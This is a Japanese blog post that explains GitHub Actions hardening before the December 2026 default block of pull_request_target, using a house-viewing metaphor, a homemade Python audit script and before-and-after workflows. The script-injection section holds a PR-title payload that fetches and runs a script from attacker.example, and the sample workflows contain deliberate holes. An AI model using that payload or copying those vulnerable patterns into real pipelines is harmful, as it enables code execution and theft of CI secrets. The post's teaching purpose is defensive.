0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

そのリポジトリ、住めますか? GitHub Actionsを「内見」する ― 12月2日のpull_request_target既定ブロックを前に、玄関・勝手口・郵便受けを見て回る

0
Posted at

Isometric Smart Apartment Infrastructure Cutaway.png

不動産会社のサイトを作る仕事をしていると、ときどき、物件の内見に同行させてもらうことがあります。写真の撮り方や、サイトに載せる情報を決めるためです。

ベテランの担当さんは、部屋に入ると、日当たりより先に、まず扉を見ます。玄関の鍵、勝手口、ベランダの窓、郵便受け、宅配ボックス。あるとき、オートロック付きのきれいなマンションで、その人がこう言いました。

「オートロックがあっても、勝手口の鍵が開いていたら、意味がないんですよ」

GitHub Actions にも、いま、オートロックが付こうとしています。

2026年12月2日から、公開リポジトリで pull_request_target が既定でブロックされます。 今年いくつも起きた CI/CD への攻撃を受けて、GitHub が入れる新しい鍵です。

ただ、担当さんの言葉どおり、玄関に鍵が付いても、ほかの扉が開いていたら泥棒は入ってきます。この記事では、GitHub Actions のワークフローを1軒の物件に見立てて、内見のように、扉を1つずつ見て回ります。

物件概要:この1年で、何が起きたか

まず、今回の内見の背景を、時系列で整理します。

日付(2026年) 出来事
2月28日 Trivy のリポジトリで、設定ミスのある pull_request_target ワークフローが悪用され、組織全体で使えるトークンが盗まれる
3月19日 盗まれたトークンを使って、trivy-action の76個のバージョンタグのうち75個が、悪意のあるコミットに付け替えられる
6月18日 actions/checkout v7.0.0。pull_request_target と workflow_run で、フォークの PR のコードをチェックアウトしないのが既定に
7月20日 同じ保護が v2.8.0 / v3.7.0 / v4.4.0 / v5.1.0 / v6.1.0 にもバックポートされる(v1 は対象外)
9月17日 「Workflow execution protections」が一般提供に。公開リポジトリに pull_request_target を止める既定のルールが入り、まずは評価モードで動き始める
10月21日 既定ルールを強制する日付が更新される
12月2日 既定ルールの強制が始まる(公開リポジトリのみ。プライベートと内部リポジトリは対象外)

Trivy の件は、セキュリティスキャナーという、守る側の道具が乗っ取られたことで話題になりました。Snyk のまとめによると、改ざんされたアクションは、正規のスキャンを実行する前にシークレットを盗み出していたそうです。パイプラインは、いつもどおり緑色のまま終わっていました。

12月2日の日付は、ネットの記事によって「11月2日」と書かれていることがあります。GitHub の changelog では、10月21日に更新されて、12月2日になっています。日付は、一次情報で確かめておくのが安心です。

内見の道具:チェックシートを Python で書いた

本格的な監査には、zizmor のような専用のツールがあります。プロの鑑定士です。仕事で使うなら、そちらをおすすめします。

ただ、今回は「どの扉が、なぜ危ないのか」を自分の目で確かめたかったので、内見用の簡単なチェックシートを Python で書きました。.github/workflows/ の YAML を読んで、部屋ごとに所見を出します。全体は150行ほどあるので、ここでは要所だけを載せます。まずは、ハマったところから。

def triggers(doc):
    # PyYAML(YAML 1.1)は `on` を真偽値の True として読んでしまう
    on = doc.get("on", doc.get(True, {}))
    if isinstance(on, str):
        return {on}
    return set(on or {})

PyYAML でワークフローを読むと、on: のキーが文字列の "on" ではなく、真偽値の True になります。YAML 1.1 では on / off / yes / no が真偽値として扱われるからです。最初、トリガーが1つも取れなくて、10分くらい首をかしげていました。ワークフローを自作のスクリプトで解析する人は、ここでほぼ確実につまずきます。

もう1つの要所は、actions/checkout の版の判定と、run: に埋め込むと危ない値の見つけ方です。

# 2026-07-20 に、フォークのチェックアウト防止がバックポートされた版(v1 は対象外)
PATCHED_CHECKOUT = {2: (2, 8, 0), 3: (3, 7, 0), 4: (4, 4, 0), 5: (5, 1, 0), 6: (6, 1, 0)}

# run: に直接埋め込むと危ない、外部の人が書ける値
TAINTED = re.compile(
    r"\$\{\{\s*github\.(head_ref|event\.(pull_request|issue|comment|review|"
    r"review_comment|discussion|head_commit|commits|pages|workflow_run)"
    r"[\w.\[\]*]*\.(title|body|head\.ref|head\.label|message|name|email|ref|head_branch))")

@v4 のようなメジャーバージョンだけのタグは、新しい版を指すので、判定の対象外にしています。正規表現のほうは、取りこぼしも誤検知もそれなりにある、あくまで「内見の目安」です。

内見するのは、次の3つのワークフローがある架空のリポジトリです。どれも、実際の現場でよく見かける書き方を寄せ集めたものです。

  • pr-preview.yml:PR ごとにプレビュー環境を作る
  • comment-deploy.yml:PR に /deploy とコメントするとデプロイする
  • release.yml:タグを打つとリリースする

チェックシートの結果がこちらです。

■ comment-deploy.yml
   [注意] 勝手口    issue_comment: 誰が鳴らしたチャイムかを確かめているか
   [注意] 合鍵     ワークフロー全体の permissions が未指定
   [危険] 管理人室   deploy: self-hosted ランナー。使い捨てでなければ前の住人の荷物が残る
■ pr-preview.yml
   [注意] 玄関     pull_request_target を使用(公開リポジトリは 2026-12-02 から既定でブロック)
   [注意] 合鍵     ワークフロー全体の permissions が未指定
   [危険] 鍵の交換履歴 actions/checkout@v4.3.0 は保護が入る前の版
   [危険] 玄関     preview: 信頼できないトリガーで PR 側のコードをチェックアウト
   [危険] 郵便受け   preview: run に ${{ github.event.pull_request.title… を直接埋め込み
■ release.yml
   [危険] 合鍵     permissions: write-all(全部屋の合鍵)
   [注意] 鍵の交換履歴 some-org/changed-files-action@v45 はタグ指定。タグは付け替えられる

3 ファイル / 危険 5 件・注意 5 件

なかなかの物件です。順番に見ていきます。

1. 玄関:pull_request_target

問題の pr-preview.yml は、こうなっています。

on:
  pull_request_target:
    types: [opened, synchronize]
jobs:
  preview:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4.3.0
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm ci && npm run build
      - run: echo "Preview for ${{ github.event.pull_request.title }}"
      - run: ./scripts/deploy-preview.sh
        env:
          AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

pull_request と pull_request_target は、名前が似ていますが、中身はまったく違います。

  • pull_request:フォークからの PR では、シークレットが渡されず、トークンも読み取り専用になる。外の人のコードを動かしても、盗めるものがない
  • pull_request_target:PR の向き先(自分のリポジトリ)の権限で動く。シークレットも、書き込みのできるトークンも使える

pull_request_target は、本来「PR にラベルを付ける」「コメントを書く」のように、PR のコードを動かさずに済む作業のための扉です。ところが上の例では、わざわざ PR 側のコードをチェックアウトして、npm ci を実行しています。

npm ci は、package.json に書かれたスクリプトを実行します。つまり、誰でも、フォークから PR を1本送るだけで、シークレットの入った部屋で、好きなコードを実行できる。Trivy で最初に破られたのも、この扉でした。

GitHub のオートロック

9月17日に一般提供になった Workflow execution protections は、ワークフローを「誰が(actor rules)」「どのイベントで(event rules)」起動できるかを決める仕組みです。ワークフローのファイルごとに、別のルールを当てることもできます。

公開リポジトリで、イベントのポリシーを何も設定していない場合は、pull_request_target を無効にする既定のルールが付きます。今は評価モード(ブロックはせず、ブロックされる予定の実行を記録するだけ)で動いていて、12月2日から実際にブロックされます。

選べる道は、2つです。

  1. 既定のルールのまま、pull_request_target を止める
  2. 本当に必要なワークフローだけ、イベントのポリシーで明示的に許可する(ファイル単位で絞れる)

自分の管理しているリポジトリでは、評価モードの記録を1週間見て、ブロックされる予定のワークフローが1つあることがわかりました。PR にラベルを付けるだけのものだったので、コードを動かしていないことを確かめてから、そのファイルだけを許可しました。

いちばんいいのは、そもそも pull_request_target を使わない形に引っ越すことです。これは「内見のあと」の章で書きます。

古い鍵のままになっていないか

もう1つ、actions/checkout の版にも注目です。6月18日の v7.0.0 から、pull_request_target と workflow_run では、フォークの PR のコードをチェックアウトしようとすると、既定で止まるようになりました。7月20日には、同じ保護が v2〜v6 の新しい版にもバックポートされています。

  • @v4 のようにメジャーバージョンのタグで書いていれば、タグが新しい版を指すので、自動で保護が入ります
  • @v4.3.0 のように古い版を固定していると、保護は入りません
  • 7月20日より前のコミット SHA で固定している場合も、同じく保護なしです
  • v1 は、バックポートの対象外です

それから、allow-unsafe-pr-checkout: true という入力を見かけたら、要注意です。この保護を、自分の手で外すためのスイッチです。

2. 鍵の交換履歴:タグは付け替えられる

release.yml には、サードパーティのアクションがタグで書かれていました。

- uses: some-org/changed-files-action@v45

Git のタグは、あとから別のコミットに付け替えられます。Trivy の件でも、2025年3月の tj-actions/changed-files の件でも、攻撃者がやったことは、既存のタグを悪意のあるコミットに付け替えることでした。利用者は、ワークフローを1文字も変えていないのに、ある日から違うコードを実行していたわけです。

対策は、40文字のコミット SHA で固定することです。SHA は、中身が1バイトでも変われば変わるので、付け替えができません。

- uses: some-org/changed-files-action@0123456789abcdef0123456789abcdef01234567 # v45.0.1

(例の SHA はダミーです)

ただし、ここには小さな矛盾があります。SHA で固定すると、セキュリティの修正も入ってこなくなります。さっきの actions/checkout の保護がまさにそうで、7月20日より前の SHA で固定していた人には、新しい鍵が届きませんでした。

なので、SHA で固定するなら、Dependabot や Renovate で固定した SHA を定期的に更新するところまでが、1セットです。鍵を頑丈にするのと、鍵を交換し続けるのは、両方やらないと意味がありません。

3. 郵便受け:サムターン回し

空き巣の手口に、「サムターン回し」というのがあります。ドアの郵便受けや隙間から道具を差し込んで、内側のつまみ(サムターン)を回して鍵を開ける手口です。鍵を壊さずに、内側から開けてしまう。

GitHub Actions のスクリプトインジェクションは、これによく似ています。

- run: echo "Preview for ${{ github.event.pull_request.title }}"

${{ }} の中身は、シェルが実行される前に、文字列としてそのまま埋め込まれます。PR のタイトルを次のようにされると、どうなるでしょうか。

hello"; curl -s https://attacker.example/x.sh | bash; echo "

埋め込まれた結果、run: の中身はこうなります。

echo "Preview for hello"; curl -s https://attacker.example/x.sh | bash; echo ""

PR のタイトル、本文、ブランチ名、コミットメッセージ、コメント。外の人が自由に書ける値を run: に直接埋め込むと、郵便受けから手を入れられます。この攻撃は、チェックアウトを1回もしていなくても成立します。actions/checkout の保護も、12月2日のオートロックも、ここは守ってくれません。

直し方は、環境変数を通すことです。

- name: Show preview title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Preview for ${PR_TITLE}"

環境変数の値は、シェルの中では「ただの文字列」として扱われるので、コードとして実行されません。郵便受けに、内側からカバーを付けるイメージです。

4. 勝手口:issue_comment と repository_dispatch

comment-deploy.yml は、PR に /deploy とコメントするとデプロイが走る、便利なワークフローです。

on:
  issue_comment:
    types: [created]
jobs:
  deploy:
    if: contains(github.event.comment.body, '/deploy')
    runs-on: [self-hosted, linux]
    steps:
      - uses: actions/checkout@v4
      - run: ./deploy.sh

issue_comment も、repository_dispatch も、シークレットのある部屋で動きます。そして、今回の actions/checkout の保護も、12月2日の既定ルールも、この2つの扉は対象外です。

この例で問題なのは、「/deploy と書かれているか」しか見ていないことです。公開リポジトリなら、誰でもコメントは書けます。チャイムが鳴ったら、誰が押したかを確かめずに、ドアを開けている状態です。

確かめ方には、いくつか注意点があります。

  • コメントした人の実際のリポジトリ権限を API で確かめる。イベントに入っている author_association は、権限そのものではないので、それだけで判断しない
  • 承認したあとに PR が更新されていないか、承認した時点の head の SHAを記録しておいて、その SHA だけをデプロイする
  • そもそも、デプロイのジョブは environment の必須レビュアーで止めて、人がボタンを押さないと進まないようにする

最後の1つが、いちばん確実です。勝手口に、インターホンを付けるようなものです。

5. 宅配ボックス:workflow_run の成果物

この章の扉は、今回の物件では見つかりませんでした。でも、次の「内見のあと」で自分から設置するので、先に説明しておきます。

workflow_run は、別のワークフローが終わったあとに、シークレットのある部屋で動く扉です。安全でない pull_request 側でビルドして、その成果物(アーティファクト)を workflow_run 側で受け取る、という使い方をよくします。

成果物は、宅配ボックスの荷物です。誰が詰めたかわからない。フォークの PR から動いたワークフローが作った成果物なら、中身は攻撃者が自由に作れます。

なので、ルールは1つです。受け取った荷物は、開けて中を見てもいいけれど、実行してはいけない。成果物の中のスクリプトを動かさない。成果物から読んだ値(PR の番号など)は、数字だけかどうかを確かめてから使う。

6. 合鍵:permissions と、長生きするアクセスキー

release.yml には permissions: write-all が書かれていました。全部の部屋の合鍵を、1本にまとめて渡している状態です。pr-preview.yml と comment-deploy.yml は、permissions が書かれていません。この場合は、リポジトリや組織の設定の既定値が使われるので、設定によっては書き込みの権限が付いてきます。

合鍵の原則は、必要な部屋の鍵だけを、必要な人にだけです。

permissions:
  contents: read

ワークフローの先頭で、まず読み取りだけに絞ります。書き込みが必要なジョブだけ、ジョブ単位で足していきます。

もう1つの合鍵は、pr-preview.yml の AWS_ACCESS_KEY_ID です。AWS のアクセスキーをシークレットに入れておくと、そのキーは、誰かが消すまで何年でも有効です。盗まれたら、盗まれたことに気づくまで使われ放題になります。Trivy の件でも、盗まれたトークンが、一度ローテーションしたあとも生き残っていたことが、2回目の被害につながったと報告されています。

GitHub Actions から AWS を触るなら、OIDC を使うのがおすすめです。ワークフローが実行されるたびに、GitHub が短い寿命の身分証を発行して、AWS 側はそれを見て、一時的な認証情報を渡します。長生きするキーを、どこにも保存しなくて済みます。AWS 側の IAM ロールの信頼ポリシーで、どのリポジトリの、どのブランチや environment から来た身分証なら受け付けるかを、細かく絞れるのも利点です。

7. 管理人室:使い捨てでないセルフホストランナー

comment-deploy.yml は、self-hosted のランナーで動いていました。社内のサーバーに GitHub Actions のランナーを入れて、使い回しているパターンです。

使い捨てでないランナーは、ジョブが終わっても、ファイルが残ります。前のジョブが置いていったものを、次のジョブがそのまま使えてしまう。悪意のあるジョブが、次に来る信頼できるジョブのために「罠」を仕掛けておくこともできます。管理人室に、前の住人の荷物が置きっぱなしになっているようなものです。

Snyk のまとめによると、Trivy の件で使われたマルウェアは、セルフホストランナーの上では、SSH の鍵やクラウドの認証情報など、50以上の場所を探し回っていたそうです。サーバーに長く住んでいるランナーほど、盗めるものが多い。

外の人が起動できるワークフローは、GitHub がホストするランナーか、ジョブごとに使い捨てるランナーで動かします。セルフホストを使うなら、信頼できるワークフローと、そうでないワークフローで、ランナーのグループを分けておきます。

内見のあと:リフォームした間取り

所見をもとに、ワークフローを組み替えました。プレビュー環境の仕組みは、2つのワークフローに分けます。

ビルドする側(pull_request):シークレットなし、読み取りだけ。

name: CI
on:
  pull_request:
permissions:
  contents: read
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false
      - run: npm ci && npm run build
      - uses: actions/upload-artifact@v4
        with:
          name: preview
          path: dist/

公開する側(workflow_run):OIDC で AWS に入り、成果物は「静的なファイルとしてアップロードするだけ」で、実行しない。environment で、必要ならレビュアーの承認を挟みます。

name: Preview deploy
on:
  workflow_run:
    workflows: [CI]
    types: [completed]
permissions:
  contents: read
  id-token: write
jobs:
  deploy:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    environment: preview
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: preview
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}
      - uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
        with:
          role-to-assume: arn:aws:iam::123456789012:role/preview-deployer
          aws-region: ap-northeast-1
      - name: Upload static files only
        run: aws s3 sync dist/ "s3://example-preview-bucket/" --delete

/deploy のコメントでのデプロイはやめて、environment の必須レビュアーで承認する形にしました。リリースは、権限を contents: write だけに絞って、サードパーティのアクションを SHA で固定しています。

もう一度、チェックシートにかけた結果です。

■ ci.yml
   所見なし
■ preview-deploy.yml
   [注意] 宅配ボックス deploy: 別のワークフローの成果物を受け取っている。中身は実行しない
■ release.yml
   所見なし

3 ファイル / 危険 0 件・注意 1 件

残った1件の「注意」は、わざと残しています。宅配ボックスは、設置したからには、荷物を受け取ることになります。この注意は「中身を実行していないか、ワークフローを変えるたびに確かめること」という、住んでいる人への申し送りです。

もちろん、このチェックシートで所見がなくなっても、安全が保証されるわけではありません。自分で書いた簡単なチェックが見落とす扉は、まだいくらでもあります。本番のリポジトリには、zizmor のような専用のツールと、人の目のレビューを組み合わせてください。

12月2日までのチェックリスト

  • Actions の設定で、評価モードの記録を確認する。ブロックされる予定のワークフローはないか
  • pull_request_target を使っているワークフローは、PR のコードを実行していないか。できれば pull_request と workflow_run に分ける
  • actions/checkout は、保護の入った版(v2.8.0 / v3.7.0 / v4.4.0 / v5.1.0 / v6.1.0 / v7.0.0 以降)か。SHA 固定なら、7月20日より後のものか
  • allow-unsafe-pr-checkout: true が書かれていないか
  • run: に、PR やコメントの値を ${{ }} で直接埋め込んでいないか
  • issue_comment と repository_dispatch で、起動した人の権限を確かめているか
  • permissions を、ワークフローの先頭で絞っているか
  • クラウドの長生きするアクセスキーを、OIDC に置き換えられないか
  • サードパーティのアクションを SHA で固定して、その SHA を自動で更新しているか
  • 外の人が起動できるワークフローが、使い捨てでないセルフホストランナーで動いていないか

総評

UNIX を作ったケン・トンプソンは、1983年にチューリング賞を受けたときの講演「Reflections on Trusting Trust」(翌1984年に論文として発表)で、こう語っています。

You can't trust code that you did not totally create yourself.
(自分で完全に作ったのではないコードは、信頼できない)

40年たった今、自分で完全に作ったコードだけで動いている CI は、たぶん世界に1つもありません。actions/checkout も、npm のパッケージも、ランナーのイメージも、誰かが作ったものです。それを全部疑うことはできません。でも、どの扉から、誰のコードが、どの鍵を持って入ってくるのかを知っておくことはできます。

内見の帰りに、担当さんに「いい物件って、何で決まるんですか」と聞いたことがあります。

「鍵の数じゃないんですよ。誰がどの鍵を持っているかが、全部はっきりしている物件が、いい物件です」

12月2日に、GitHub は玄関にオートロックを付けてくれます。ありがたい話です。でも、勝手口と郵便受けと合鍵の管理は、そこに住んでいる人の仕事です。「泥棒を捕らえて縄を綯う」にならないうちに、一度、自分のリポジトリを内見してみてください。

「うちの物件も見てほしい」という方は、コメントでどうぞ。CI/CD と AWS まわりの戸締まりなら、喜んで一緒に見て回ります。

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?